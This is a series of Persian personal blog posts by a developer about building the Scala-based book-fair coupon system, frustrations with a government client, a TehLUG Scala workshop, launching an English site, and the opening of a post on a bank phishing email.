اندر باب سیستم توزیع بن کتاب نمایشگاه کتاب ۹۵

امسال هم مثل پارسال فروش بن دانشجویی از طریق سیستمی که با Scala و MongoDB پیاده کرده بودم انجام شد. البته کلی کار جدید و قسمت‌های دیگه مثل بن‌های اساتید و مهد کودک و … هم بهش اضافه شد و یکی از دوستام هم کمکم کرد و بالاخره طلسم تک نفری بودن پروژه شکسته شد. از همه اینها مهمتر نحوه پرداخت بود که برای اولین بار به جای درگاه پرداخت آنلاین یا همون IPG از طریق نرم‌افزار آپ انجام شد.

توی شبکه‌های اجتماعی و جاهای دیگه دیدم که خیلی از مردم ناراحت بودن و با اطمینان کامل از رد و بدل شدن پول کلان بین آسان پرداخت با مسئولان برگذاری نمایشگاه و همچنین قراردادهای بزرگ با تولید کننده‌های گوشی تلفن همراه مثل سامسونگ خبر می‌دادن! نمی‌دونم شاید پشت پرده خبری بوده که واقعا ما بی خبریم (هر چند احتمالش از احتمال ارسال آدم به مریخ توسط ایران تا ۲۴ ساعت آینده کمتره) ولی این اتفاقا منو یاد اون برنامه‌استعداد یابی که از یکی از شبکه‌های فاسد و خانمان بر انداز فارسی زبان بیگانه بخش شد (و می‌دونم که همتون قشنگ نشستید دیدینش یا حداقل قسمت‌های مهمش رو خبر دارید) و باعث شد مردم برای گرفتن حقشون! از هر راه ممکن برای اعتراض استفاده کنن تا شاید اتفاقات پشت پرده رو بشه و فلان و بهمان کرد…

خلاصه، از اونجایی که ما توی بطن ماجرای بن کتاب بودیم و از تمام این دوستان که در شبکه‌های اجتماعی با تمام قوا سخنرانی میکردن به ماجرا نزدیکتر بودیم، میخوام اتفاقاتی که افتاده رو از زبون خودم توضیح بدم تا شاید یک درصد بسیار نا چیز به شفافیت اتفاقات اجتماعمون کمک کرده باشم.

طبیعی هست که مثل هر سال در دقیقه نود میان و از ما کارهای غیر ممکن میخوان. من هم که دارم سال به سال به بی نظمی و بی خیالی بیشتر عادت میکنم و ریسک پذیریم رفته بالا، امسال هم این کار رو توی دقیقه نود قبول کردم. ولی ایندفعه از دفعه قبل زمان خیلی کمتری داشتیم و تازه بدتر هم شد چون دو روز مونده به شروع فروش بن نمی‌دونم چه اتفاقی افتاد که ساعت ۱۱ شب گفتن صبح ساعت ۸ جلسه‌ست با آسان پرداخت برای اضافه کردن بن مجازی و این چیزها. که البته به شدت منو ناراحت کرد و حسابی قاطی کردم ولی بالاخره از روی اجبار توی جلسه حاضر شدم تا همه چیز رو ببرم رو هوا و برم ادامه کار رو سریعتر انجام بدم تا کار برای پس فردای اون روز آماده باشه. خیلی دوست داشتم که اگر شرایط مهیا شد توی جلسه به باعث و بانی این کار فحش‌های اساسی بدم و خلاصه یه دعوای اساسی بکنیم و بیاییم بیرون.

توی جلسه مطرح شد که علاوه بر اضافه شدن امکان خرید بن مجازی، پرداخت سهم دانشجو هم به جای IPG از طریق نرم‌افزار موبایل آپ باشه! یعنی ما بعد از رسوندن کاربر به مرحله خرید یه راهنما نشونش میدم و بهش میگیم آپ رو نصب کن و فلان کار رو بکن. بعد آپ از ما استعلام میگره که آیا این کاربر ثبت نام کرده یا نه و بعد اجازه پرداخت بهش میده. وقتی تراکنش کامل شد دوباره به ما خبر میده که خرید انجام شد. البته این وسط یه سری جزئیات برای امنیت و اطمینان و اینها هم هست.

اولش واقعا دلم میخواست میز رو بلند کنم و پرت کنم سمت بچه‌های بانک شهر و آسان پرداخت و اینها. طبیعی هست که همه مخالف بودیم. بعضی به دلیل اینکه وقت واسه پیاده‌سازیش نبود (از جمله خودم) بعضی به دلیل ترس از سر و صدایی که توسط رسانه‌ها و شبکه‌های اجتماعی راه میفتاد،بعضی بخاطر ترس از تکنولوژی، بعضی میگفن اگر کسی تلفن همراه نداشت چی؟ و بعضی هم که اتفاقا رسما مقام خیلی بالایی داشتند کلا تو جلسه خواب بودن و یه دفعه میپریدن و یه نظر کاملا بی ربط میدادن طوری که بعضی از حضار با کمال میل دوست داشتند از پنجره بپرن پایین.

از نظر فنی هم نمی‌شد هر دو روش پرداخت IPG و آسان پرداخت رو با هم داشته باشیم. خلاصه نماینده آسان پرداخت هم گفت هر طور که خودتون مایلید در نهایت اگر نمی‌خوایید که هیچی دیگه. بعد یه لحظه من یاد اتفاقات پارسال اتفادم!

پارسال بعضی از افراد که اطلاعات کامل دانشجویان یک دانشگاه رو به دست اورده بودن مثلا به جای ۵۰۰ نفر ثبت نام میگردن که هزینه‌ش یه چیزی حدود ۲۰ میلیون میشد. بعد دولت ۲۰ میلیون بن بهشون میداد که میشد ۴۰ میلیون، بعد اینها با یه ناشر میریختن رو هم و سند سازی میکردن که مثلا ۴۰ میلیون کتاب خریداری شده، اینطوری ۲۰ میلیون از بن کتاب دانشجویان توسط دزدان همیشه در صحنه خورده میشد. (البته این یکی از سناریو‌های دزدی بود بعدا فهمیدم که سناریو‌های دیگه‌ای هم هست که اصلا سیستمی نیست و فقط با مشارکت افراد دست اندر کار انجام میشه!)

من تو جلسه گفتم این تنها راه مطمئنی هست که جلوی اینطور دزدی‌ها رو میگیره. یعنی اگر کسی بخواد ۵۰۰ تا ثبت نام بکنه باید  آپ رو برای ۵۰۰ تا سیم کارت نصب کنه و البته اون سیم کارت به درستی اعتبارسنجی و قابل ردیابی میشه چون خرید سیم کارت بدون نام یه کم سخت شده (حداقل برای ما که سخته نمیدونم برای دزدها هم به اندازه ما سخت میگیرن یا نه؟). از طرفی تنها دستگاه هوشمندی که از هر دستگاه دیگه‌ای به انسان نزدیک‌تره موبایل هوشمند هست و این می‌تونست یه راه برای بیشتر سیستماتیک کردن احراز هویت باشه.

مشکل کار اینجاست که یه عده ممکنه تلفن هوشمند نداشته باشن. هرچند دانشجویی که تلفن هوشمند نداشته باشه رو تاحالا از نزدیک ندیدم (حتی از دور) ولی بالاخره چنین افرادی هستند. برای این هم قرار شد آخر کار یه مکانیزمی بذاریم که مثلا به صورت حضوری خرید کنن.

نکته مهم دیگه اینکه ما از هر روشی بریم بالاخره یه درصد کمی نمی‌تونن از همه امکانات بهره‌مند بشن پس چه بهتر که از روشی بریم که جلوی دزدی‌ها رو بیشتر میگیره. نهایتا اگر خرید انجام نشه پول دولت باقی میمونه و برای همون مستضعف‌ها که گوشی هوشمند ندارن خرج میشه (البته اگر دزدهای همیشه در صحنه، در سازمان‌ها و ارگان‌های مختلف اجازه این کار رو بدن).

توی جلسه تیم مسئول بن دانش آموزی هم حضور داشت که به هیچ عنوان زیر بار این قضیه نرفت. ولی ما برای بقیه بن‌ها از آپ استفاده کردیم.

البته به طور کلی این کار کمی‌ها و کاستی‌هایی داشت که اکثرا هیچ ربطی به استفاده از آپ نداشت؛ مثلا اینکه بانک شهر انقدر برنامه‌نویس نداشت (یا انقدر برنامه‌نویس قوی و پر سرعت نداشت) که بتونه برای استعلام بن از وب سرویسی که ما بهشون داده بودیم استفاده کنن و مجبور شدیم اطلاعات رو به صورت فایل و شبانه براشون بفرستیم!!! خداییش این وسط دیگه ما گناهی نداریم که یه عده خیلی فراتر از توانشون ادعا میکنن و بعد زیرش له میشن. اما در کل نرم‌افزار ما خیلی بهتر از پارسال اجرا شد و میشه گفت هیچ مشکل فنی نداشتیم. سعی میکنم موارد فنی رو توی یه پست جداگانه بنویسم اما اجالتا به طور فاحشی منابع سرور هم اضافه اوردیم و همه چیز فوق العاده عالی پیش رفت. پر واضح است که Scala این وسط به شدت بهمون کمک کرد.

در نهایت از خودم راضی هستم و خوشحالم که تونستم هر چقدر کم یه تاثیری توی کم شدن رانت خواری داشته باشم و به جای اینکه فقط نق و غر و حرف بزنم یه کار واقعی کرده باشم.

و برای حسن ختام برنامه یه ماجرای آموزنده از همین بانک شهر میگم؛

توی یه جلسه مربوط به بن امسال با بانک شهر یه مدیری از بانک نشسته بود که با همه هم خیلی بد صحبت میکرد حتی با مهندس‌های خودشون. وقتی از من سوال شد برنامه کی آماده میشه، من در جواب گفتم باید ببینیم اصلا امسال چی از ما میخوایید، اگر کارها کم باشه که سریع آماده میشه اگر زیاد باشه هم که ممکنه طول بشه. این آقا که نسبتا مسن هم بود، گفت من خودم برنامه‌نویس بودم، اگر اینها رو میخوایی سر کار بذاری، من رو دیگه نمی‌تونی سر کار بذاری، اگر می‌خوایی الکی کشش بدی و اینها بگید ما خودمون کار رو انجام میدیم، کلا دو تا فرم ورود اطلاعات هست، هیچ کاری هم نداره… من هم با اشتیاق گفتم واقعا می‌تونید دو روزه این کار رو بکنید؟ عالیه اگر ما بیشتر از دو روز کارمون طول میکشید خواهشا شما این کار رو انجام بدید. من هیچ اصراری روی این کار ندارم (آبروی بعضی از حضار میرفت وگرنه میخواستم بگم ما برای گرفتن این پول که حقمون هست باید بریم از کارفرما گدایی کنیم و به هرچی میپرستی قسم که من دلم نمیخواد این پروژه رو قبول کنم و کلی کار باحال دیگه هست که هم پولش بهتره هم کارش).

کاری نداریم که مهندس‌هایی که توی جلسه بودن صورت جلسه‌ای که همین مدیر عزیز دستور داده بود رو به خاطر بی احترامی که بهشون کرده بود امضاء نکردن! ولی همون شرکت پیمانکاری که این عزیز داشت به اعتبار اونها حرف میزد، نتونستن به یک وب سرویس REST فوق العاده ساده ما متصل بشن و یه سری اطلاعات رو توی پنل بانکشون نمایش بدن تا همه چیز آنلاین و در لحظه باشه تا دانشجویان بیچاره کمتر اذیت بشن. حالا تصور کنید کل سیستم توزیع بن رو اونها مینوشتن.

کاش کمتر حرف پوچ میزدیم و بیشتر عمل میکردیم.

 

این خانه از پایبست ویران است

ما توی یه کشور گیک هراس و گیک فراری بده! زندگی میکنیم برای همین توی این وبلاگ باید یه همچین پستی رو ببینید.

نمی‌خوام مثل اکثر مردم فقط سیاه نمایی کنم ولی بعد از کلی سفید نمایی و امیدواری و تلاش برای بهبود اوضاع اطرافم لازم میدونم یه مسائلی رو برای همگونه‌های خودم (کسایی که سبک زندگیشون شبیه منه) بگم. واقعا نمی‌دونم تاثیرش مثبته یا منفی!

موضوع سر پروژه‌های نمایشگاه کتاب هست که از نظر فنی و اجرایی یکی از افتخاراتم هست و توی جشن ۱۰ سالگی لاگ تونستم در مورد تجربیات فنی و اجرایی این پروژه صحبت کنم که البته روی مثبت و سفید قضیه بود. توی این پست میخوام از تجربیات غیر فنی که کاملا منفی و سیاه هست بگم. مخصوصا که کارفرمای این پروژه جونم رو به لبم رسونده.

چندتا نرم‌افزار با آخرین تکنولوژی دنیا ساخته شده، تا به جای اینکه برای اجرا به یه سرور چند ۱۰ میلیون تومانی (یا شاید چند ۱۰۰ میلیون تومانی) نیاز داشته باشه، روی یه سرور که از لپ تاپم ضعیت‌تره اجرا بشه و از همه مهمتر اینکه ۱۰ میلیارد تومان (نه ریال) از تراکنش‌های مالی سازمان مربوطه از طریق این نرم‌افزار انجام شد. حالا این سازمان دولتی حاضر نیست برای پشتیبانی از این سیستم‌ها به اضافه پشتیبانی از دو وب سایت مهمش و همینطور نگهداری سرورهاش و هزار کوفت و زهرمار دیگه، ماهی یک میلیون تومان هزینه کنه!

بعضی از آدمهایی که در مورد زیاد بودن این هزینه تصمیم میگیرن خودشون با بنز C Class و با راننده شخصی رفت و آمد میکنن. حتی چایی که میخورن با بقیه کارمندا فرق داره! هزینه نگهداری این بنز و راننده و … چند برابر مبلغ این قرارداد پشتیبانی هست! دوباره به مبلغ‌ها و آورده‌های این پروژه نگاه کنید.

جالب اینجاست که من هیچ اصراری برای انجام این پروژه نداشتم و بعضی از مدیران رده پایین‌تر داخل این سازمان باعث شدن که این کار رو قبول کنم. کاری نداریم که اولش به من سه تا فرم ساده که جمعا ۳۰ تا فیلد هم نمیشد دادن و گفتن سیستم هیچی بیشتر از این نیست و من قیمت رو بر اساس اون دادم ولی بعدش سیستم تبدیل شد به یه قول بی شاخ و دم! و البته با موفقیت انجام و اجرا شد.

فقط برای یکی از این سیستم‌ها که هر سال با مراجعه کاربران کاملا از کار می‌افتاده و خیلی از امکانات سیستم کنونی رو نداشته، سالی ۳۰ میلیون هزینه میکردن و بهانشون هم این بود که اونها شرکت بودن! شاید دروغ باشه ولی از چند نفر در مورد این شرکت پرسیدم و فهمیدم که این شرکت تنها شامل یه برنامه نویس و یه مدیر بوده. ولی مدیر با نفوذی داشته. مثل همه شرکت‌ها که برای همچین پروژه‌هایی حتی یه نصف آدم رو هم نمیذارن. که طبیعی هم هست!

قرار بود قرارداد پشتیبانی من از اردیبهشت شروع بشه و الان چهار ماهه که نه تنها پشتیبانی طاقت فرسای این سیستم ها رو انجام دادم بلکه کلی تغییرات توی سیستم ایجاد کردم تا یه بخش دیگه از سازمان هم بتونه از این سیستم استفاده کنه. واقعا حوصله‌ش رو ندارم که از رفتار بی نهایت زشت بخش‌های دیگه سازمان بگم که بخاطر دعوا‌های بچگانه درون سازمانی وقت من رو مثل آب خوردن هدر دادن. به طور قطع میگم سطح همکاری و بلوغ سازمانی بیشتر سازمان‌های بزرگ کشور ما کاملا با سطح رفتار بچه‌های دبستانی همخوانی داره.

بعد از یه کم بررسی و فکر، به این نتیجه رسیدم که ۸۰ درصد افراد داخل سازمان‌های بزرگ کشور، نیروی مازاد هستند و با هزینه بسیار اندک میشه با یه نرم‌افزار خوب جایگزینشون کرد. نگران از بین رفتن شغل نباشید! این موقعیت‌ها شغل نیستن اینها عین بیکاری هستن. مگه میشه یه زمین فوتبال رو پر از آدمهایی کرد که نه تنها برای برد تیم هیچ تلاشی نمیکنن بلکه ایستادن یه جا و برای هم تیمی‌ها جفت پا میگیرن تا با مخ برن تو زمین؟

بعد از این همه فشار و اذیت و عدم پرداخت حتی یک ریال! تازه بهم خبر دادن که دوستان تصمیم گیرنده و رده بالا با قیمت قرارداد پشتیبانی مشکل دارن :) دوباره به قیمت‌ها و هزینه‌ها و تراکنش‌های این پروژه نگاه کنید!

بالاخره دست از کار کشیدم و اعلام کردم تا قرارداد امضاء نشه و پول ندن کار نمیکنم.

اگر قرارداد امضا بشه و چند برابر این پول رو هم بدن من واقعا دلم نمیخواد این کار رو ادامه بدم. این کار از هر نظر باعث بدبختیه من میشه. مشکل اینجاست که یه نفر توی این موسسه به من اعتماد کرد و از اعتبار خودش برای اجرای این کار مایه گذاشت، تا با یه تکنولوژی عجیب و جدید کار انجام بشه. اگر من این کار رو رها کنم اعتبار اون شخص میره زیر سوال. همین! غیر از این آب از آب تکون نمیخوره. آدما دوباره بر میگردن به همون سیستم سنتی که اتفاقا بهتر هم میشه توش زیرآبی رفت و همه چیز بر میگرده به روال خوشحال گذشته. هر چی باشه ۲۸ سال بوده که همون سیستم برقرار بوده و ما یه دفعه همه چیز رو به هم ریختیم!

یه سوال؛ واقعا از من توقع میره که بمونم ایران و این مسائل رو (حالا به سهم خودم یا هر چی) درست کنم؟ واقعا این انتظار وجود داره؟ شما جای من بودید چیکار میکردید؟

و در نهایت تجربه من اینه که؛ این خانه از پایبست ویران است.

پ.ن: چند روز پیش یه ویدئو دیدم که تاریخ جغرافیایی ایران رو به صورت Timeline روی نقشه نمایش میداد. برای اولین بار دلم برای ایران سوخت! ولی به هر حال من خودم رو «زمینی» میدونم تا «ایرانی». فقط همین یه کم بهم آرامش میده.

به روز رسانی:

مشکل من این نیست که یه سازمان حاضر نیست برای پشتیبانی یه سیستم بزرگ ماهی یک میلیون تومان هزینه کنه یا نمی‌فهمه که چقدر براشون سود داره (میدونم که کاملا متوجه هستند که چقدر سود داره). مشکل من مثل این میمونه که هزار تا شیر آب بازه و همینطوری آب داره هدر میره و یه مشت کلاه بردار دارن سطل سطل آب پر میکنن و میبرن، بعد یه دفعه آقایون نگران میشن که یه لیوان آب برای یه گلدون مصرف بشه. یه عالمه آدم دزد و کلاه بردار بودن که با اضافه شدن این سیستم‌ها بدجوری کاسبی شون به هم ریخت. به طرز وحشتناکی کلاه برداری‌هاشون لو رفت و دچار مشکل جدی شدند …

نمی‌خوام دایی‌جان ناپلئونیش کنم و بگم چون این سیستم از کلاهبرداری ها جلوگیری کرد به صورت سازمان یافته داره باهاش مبارزه میشه. سیستم‌های اداری ما خیلی خیلی خیلی داغون‌تر از این حرفاست که اصلا این موقعیت‌ها رو بفهمه، چه برسه به اینکه به صورت هوشمندانه و از پیش برنامه‌ریزی شده بخواد باهاش مقابله کنه!

به هر حال این گلدون نابود هم بشه تاثیر خاصی توی زندگی من نداره و نخواهد داشت. ولی برای این کشور خیلی تاثیر گذاره.

خلاصه اهمیت مالی موضوع صفره! مسئله اینجاست که این خونه‌ای که از پایبست ویرانه رو باید چیکارش کرد؟

بارگذاری ویدئو‌های کارگاه اسکالا جشن ۱۰ سالگی تهلاگ

آخرین به روز رسانی ۱۵ تیر ۹۵: بقیه ویدئو‌ها در یک پست جدید بارگذاری شد.

بالاخره ویدئو‌های کارگاه اسکالا به دستم رسید و دارم برای بارگذاری اقدام میکنم. از اونجایی که سرعت آپلود اینترنت داغونه ما بدجوری داغونه و وقتی یه آپلود میذارم کل اینترنتم قطع میشه، بارگذاری این ویدئو‌ها کار خیلی سخت و زمانبری شده.

خوشبختانه خود دوربین فایل‌ها رو تیکه تیکه کرده و با فشرده سازی و اینها در کل هر کدوم از ویدو‌ها شده حدود ۳۰ دقیقه و حجمش هم ۲۰۰ مگ هست. کلا حدود ۳ ساعت ویدئو هست که یک و نیم ساعت اول توی این پست ارائه شده. یک و نیم ساعت دوم هم توی یه پست دیگه ارائه میشه.

می‌تونید اسلایدهای این ارائه رو از اینجا یا اینجا دانلود کنید و در کنار ویدئو مشاهده کنید. مخصوصا وقتی متن‌ها توی فیلم خوانا نیست.

قسمت اول – ویدئوی اول

قسمت اول – ویدئوی دوم

قسمت اول – ویدئوی سوم (آخر)

افتتاح وب سایت انگلیسی

بلاخره وب سایت انگلیسیم رو راه اندازی کردم. چون با Jekyll ساخته شده، یه حس گیکی بهم میده و خیلی دوسش دارم. از طرف دیگه خیلی علاقه دارم که بتونم فکرهام و تجربه‌هام رو در سطح بین المللی و با آدمهای کل دنیا در میون بذارم.

تقریبا ۳ میلیارد کاربر آنلاین تو کل جهان هست که فقط ۲۲ میلیون نفر از اونها داخل ایران هستند. یعنی اگر فقط به زبان فارسی فکر کنیم تقریبا ۱ درصد کل آدمهایی که به اینترنت دسترسی دارن رو پوشش دادیم. این هم یه حس آزادی میده که محدود به یه عده خاص نباشی.

قبلا هم تجربه سایت انگلیسی داشتم ولی خوب پیش نرفت و ولش کردم اما این‌بار خیلی جدی‌تر میگیرمش و توسعه‌ش میدم. رزومه انگلیسی رو هم اضافه میکنم. قطعا ساختن رزومه با استفاده از Jekyll و به این شکل میشه که؛ اطلاعات توی یه فایل Yaml باشه و صفحه رزومه از روی اون Generate بشه. تم وبسایت هم خیلی ساده‌ست ولی من ازش خوشم میاد و باعث میشه محتوی بیشتر خودش رو نشون بده. شاید روش کار کنم و بهترش کنم یا کلا عوضش کنم.

یه نکته مثبت دیگه‌ش اینه که چون روی Github هاست شده اگر یکی دوست داشته باشه میتونه به راحتی غلط گیری کنه و Pull Request بفرسته. شاید هیچ کس حال و حوصله و همت مشارکت برای اصلاح اشتباهات من رو نداشته باشه ولی همین که امکانش هست، بهم اعتماد به نفس بیشتری میده. از همه مهمتر چشم امیدم به خارجی‌ها خیلی خیلی بیشتر از هموطنا هستش (هر چی باشه جمعیتشون خیلی بیشتره).

این وبلاگ هم مثل قبل ادامه خواهد داشت. شاید به پست‌های اون یکی وبلاگ هم لینک بدم. به نظرم مطالب فنی توی کار ما باید انگلیسی باشه و ترکیب کلمات انگلیسی و فارسی خیلی خوب در نمیاد. به امید روزی که دنبال یه چیزی بگردید و به سایت انگلیسی من برخورد کنید 😀 آرزو بر جوانان عیب نیست.

پی‌نوشت: خوشبختانه از وقتی رفتم توی دنیای متن باز، مرتب با آدمهای قوی‌تر و با ارزش‌تری توی ایران آشنا شدم و قطعا هموطن‌های خیلی عالی هم دور و برمون هست ولی وقتی تعدادشون رو میشمرم به نسبت جمعیت کل آدمهایی که دور و اطرفم هستن (با اینکه خیلی اجتماعی نیستم)، خیلی کم هستن. متاسفانه!

 

جشن ده سالگی لاگ

بالاخره توی جشن ده سالگی لاگ با کارگاهی در مورد پروژه‌های انجام شده با اسکالا و خود زبان و اکو سیستم اسکالا حضور داشتم و خیلی لذت بردم. من حدودا یک سال هست که لاگ رو میشناسم و متاسفانه فقط دو بار تونسته بودم توی جلساتش شرکت کنم و اینکه شرکتم برای بار سوم با برگذاری یه ارائه بود خیلی برام لذت بخش بود.

IMG_8072resized

دیدن این آدمای پویا و باهوش و سمج و گیک خیلی کیف داره چه برسه به اینکه براشون صحبت هم بکنی.

برای ارائه خیلی وقت کم داشتیم و محتوی ارائه هم خیلی زیاد بود من خیلی نگران بودم که سرعت بالای انتقال مطالب، مخاطب رو خسته کنه ولی خوشبختانه یا متاسفانه تقریبا از اواسط ارائه بهنام توکلی خبر داد که یکی از کارگاه‌ها برگذار نمیشه و میتونیم از اون یک و نیم ساعت دوم هم استفاده کنیم (هر چند ساعت دوم هم زمان کم اومد و باز مطلب بود برای ارائه). البته بعضی از بچه‌ها دوست داشتن توی کارگاه‌های دیگه که خیلی جذاب هم بودن شرکت کنن و برای نوبت دوم فکر میکنم تعداد مخاطبین نصف شد. خیلی دوست داشتم که یه قسمت‌هایی از ارائه دوم رو بقیه بچه‌ها هم می‌دیدن مطمئنم که براشون جالب بود.

خوشبختانه از کل اراٍئه فیلم گرفتیم فقط حجمش خیلی زیاد شده و باید روش کار کنیم تا بشه منتشرش کرد ولی فعلا اسلایدها رو توی اسلاید شیر و سورسش به همراه نوشته‌هایی که برای ارائه داشتم رو روی گیت‌هاب گذاشتم.

به نظر خودم چندتا مشکل توی ارائه وجود داشت:

  • کلی مطلب در مورد اسکالا بود که میخواستم همه بدونن و مجبور بودم سریع مطالب رو منتقل کنم که مخاطب رو اذیت میکرد
  • یادم رفت به شرکت‌های بزرگ و کارهای بزرگی که توی دنیا داره با اسکالا انجام میشه اشاره کنم و فقط در مورد نمایشگاه کتاب صحبت کردم. مخصوصا در جواب سوالها
  • توی قسمت دوم و موقعه نمایش کدها و دمو، بچه‌ها علاقه داشتن زودتر یه سایت ساده بیاریم بالا و در عمل نتیجه رو ببینیم تا اینکه با ویژگی‌های زبان آشنا بشن. که البته من درکشون میکنم ولی باید زبان رو یاد میگرفتن تا موقعه دیدن کدهای یه کم پیشرفته‌تر تعجب نکنن و منفی نشن
  • هر چند خیلی سعی کردم ولی مدیریت زمانم اونطوری که باید، نبود

قسمت‌های خوب این ارائه:

  • کلا بچه‌های لاگ کارشون درسته و خیلی خوب همه چیز رو مدیریت و برگذار کردن
  • بچه‌های قوی و دوست داشتنی توی این ارائه حضور داشتن که از دیدنشون خیلی خوشحال شدم و واقعا باعث افتخارم بود. بعضی‌هاشون دوستام بودن و بعضی‌ها رو برای اولین بار میدیدم که امیدوارم ارتباطم باهاشون بیشتر بشه
  • احساس میکنم باعث شدم بعضی از بچه‌ها دنبال ایده‌هایی که مطرح شد رو بگیرن و شاید توی آینده کاریشون تاثیر بذاره (امیدوارم)
  • سعی کردم کاملا صمیمی و خودمونی باشم انگار که توی جمع دوستام نشستم و دارم صحبت میکنم (شاید هم باید رسمی تر می‌بودم!)

بخش اول ارائه که تموم شد دیدم جادی اومد داخل! اولین بار بود جادی رو از نزدیک میدیدم خیلی خوشحال شدم! جادی از اون شخصیتی که فکر میکردم هم خیلی بهتره. یه آدم متواضع، حرفه‌ای، مهربون و دوست داشتنی. کلی هم عکش باهاش گرفتیم. جادی Celebrity گیک‌هاست. مخصوصا که وبلاگش اولین وبلاگ لینوکسی بود که من بعد از مهاجرت به لینوکس باهاش آشنا شدم و خیلی الهام بخشم بود.

خیلی دوست داشتم نظر تک تک بچه‌هایی که توی این ارائه بودن رو جویا بشم. اگر گذرتون به این پست افتاد و توی ارائه بودید یا اسلایدها رو دیدید حتما نظرتون رو بگید. چه مثبت چه منفی.

نتیجه اخلاقی: از این به بعد سعی میکنم خیلی بیشتر توی این اجتماعات شرکت کنم، مخصوصا لاگ. تا جایی که وقت اجازه بده و بتونم هم سعی میکنم مشارکت فعال داشته باشم و فقط مصرف کننده نباشم.

خلاصه که خیلی خوش گذشت و عالی بود. جای اونها که نبودن خالی. اینم یه عکس با یه سری از بچه‌ها و جادی:

photo_2015-08-11_23-59-53

مکان و زمان دقیق برگزاری جشن ده سالگی لاگ

همونطور که قبلا گفتم برای جشن ده سالگی لاگ یه ارائه دارم که به اسکالا مربوط میشه. قرار شد زمان و مکان دقیقش رو اعلام کنم.

زمان: پنج‌شنبه مورخ ۱۵ مردادماه از ساعت ۹
مکان: تهران – خیابان ملاصدرا- خ شیراز شمالی – خ حکیم اعظم – پلاک ۳۰ – موسسه آموزش عالی خاتم (​لینک گوگل‌مپ)

جزئیات برنامه‌ها:

یک و نیم ساعت ابتدایی:

کلاس ۱۰۵: گام‌های نخست آزادی (قسمت اول) (آشنایی تئوری و عملی با گنو/لینوکس) توسط دانیال بهزادی از گروه کاربران ایرانی اوبونتو
کلاس ۲۰۵: خدمات متقابل اندروید و لینوکس توسط رضا محمدی از شرکت کافه بازار
کلاس ۱۰۳: تجربه‌ای عملی با زبان اسکالا (سختی‌ها و راه‌حل‌های پیاده‌سازی نمودن سایت پربازدید و پرتراکنش نمایشگاه کتاب ۹۴ با زبان اسکالا) توسط امیر کریمی
کلاس ۱۰۴: توسعه وب با زبان Go توسط فرود غفوری از شرکت وادا (آزمونا)
کلاس ۱۰۶: نرم‌افزار کنترل ورژن Git توسط سعید رسولی از شرکت پارس‌پویش
کلاس ۱۰۷: آشنایی با ابزارهای ذخیره‌سازی و تحلیل داده‌های بزرگ توسط فرید دهقان

نیم ساعت میانی:
طبقه منفی یک: پذیرایی

یک و نیم ساعت میانی:
کلاس ۱۰۵: گام‌های نخست آزادی (قسمت دوم) (آشنایی تئوری و عملی با گنو/لینوکس) توسط دانیال بهزادی از گروه کاربران ایرانی اوبونتو
کلاس ۲۰۵: شروع طراحی وب در گنو/لینوکس توسط پیام صادری از Xenon, Copywriting Agency
کلاس ۱۰۳: Create your own language توسط حمیدرضا سلیمانی از شرکت بیسفون
کلاس ۱۰۴: نوشتن Library با JavaScript توسط افشین مهربانی
کلاس ۱۰۶: آشنایی با هسته لینوکس توسط سعید تقوی
کلاس ۱۰۷: کسب درآمد توسعه دهندگان و تجاری سازی نرم افزارهای آزاد و متن باز توسط علیرضا حسین‌نژاد

نیم ساعت پایانی:
طبقه همکف، سالن ۳۰۰ نفره: برنامه عمومی و اختتامیه

پس وعده دیدار ما ۱۵ مرداد ساعت ۹ کلاس ۱۰۳ :)

منبع اطلاعات: ایمیل بهنام توکلی به لیست پستی لاگ. اطلاعات بیشتر در سایت تهلاگ.

ارائه تجربیات پروژه‌های اسکالا

چند وقت پیش تصمیم گرفتم تجربیاتی که توی پروژه‌های نمایشگاه کتاب (ثبت نام ناشران و بن کتاب) داشتم رو توی تهلاگ (TehLug) ارائه بدم. خیلی از بچه‌ها هم لطف داشتن و استقبال کردن. به هر حال قرار شد برای جشن ده سالگی لاگ که ۱۵ مرداد هست، جزو یکی از ۱۲ کارگاه تخصصی این مناسبت باشه.

خوشبختانه برنامه‌ریزی این جشن داره با دقت زیاد توسط بهنام توکلی و بقیه جلو میره.

من هنوز اسلایدهای ارائه رو آماده نکردم ولی خیلی در موردش فکر کردم! یه صحبت‌هایی دارم که فکر میکنم یه کم متفاوت هست. علاوه بر اینکه از نظر فنی کلی حرف هست که باید بزنم از نظر فلسفی و فکری و … هم حرفایی هست که معمولا زده نمیشه و فکر میکنم خیلی به برنامه‌نویسا و گیک‌ها کمک میکنه. هر چی باشه من داره ۳۰ سالم میشه و کم کم وقت نصیحت کردن جوونترها داره میرسه 😀

کلا حس خیلی خیلی مثبتی به این ارائه دارم و امیدوارم همه چیز به خوبی و خوشی پیش بره. تنها نگرانیم این هست که زمان برای درست کردن اسلایدها خیلی کم دارم!

زمان دقیق ارائه‌ها رو نمیدونم ولی همونطور که گفتم ۱۵ مرداد هست یعنی ۹ روز دیگه. شرکت در این جشن برای همه آزاد و رایگانه. از همینجا از همه علاقه‌مندان به برنامه‌نویسی و خصوصا گیگ‌های عزیز دعوت میکنم که حتما شرکت کنن. مخصوصا توی ارائه من 😀

در صورتی که اطلاعات بیشتری به دستم برسه حتما اطلاع رسانی میکنم.

رعایت کپی رایت: خرید از استیم

تقریبا خیلی وقته که استیم روی لینوکس هم اجرا میشه و به زودی هم کنسول استیم که بر پایه لینوکس ساخته شده وارد بازار میشه. این استیم بهانه خرید نکردن و دزدی بازی‌ها رو هم کمتر کرده. هر چند باز هم خریدش کلی دردسر داره ولی اگر یه حساب Paypal یا هرچیز بین المللی دیگه داشتیم خرید ازش چند ثانیه بیشتر طول نمیکشید.

امروز موفق شدم بالاخره بعد از سه روز تلاش از طریق Payment24 بازی Counter-Strike رو از استیم بخرم. قبل از این کلی نسخه کرک شده این بازی رو گرفته بودم و همه‌شون پر از مشکل بودن (اگر تروجان نبوده باشن). ولی این نسخه پولی واقعا با کیفیت هست! به طرز عجیبی با نسخه‌های کرک شده فرق داره و عالی اجرا میشه بدون باگ و مشکل و کاملا با لینوکس سازگاره. ۳۰ هزار تومن واقعا برای خرید یه همچین برنامه‌های با کیفیتی هیچ پولی نیست. نوش جونشون.

امیدوارم یه روزی تحریم‌ها به حدی برداشته بشه که بتونیم خودمون به نام خودمون و با آدرس خودمون اکانت Paypal و Visa داشته باشیم و پول‌ها به طور مستقیم به حساب خودمون بیاد و از حساب خودمون برداشت بشه.

فیشینگ بانک پاسارگاد – پیدا کردن هکر

یه ایمیل برام اومد که با یه روش قدیمی و شناخته شده سعی در هک کردن اکانت حساب بانکی پاسارگادم داره؛ فیشینگ (Phishing).

pishing_pasargad

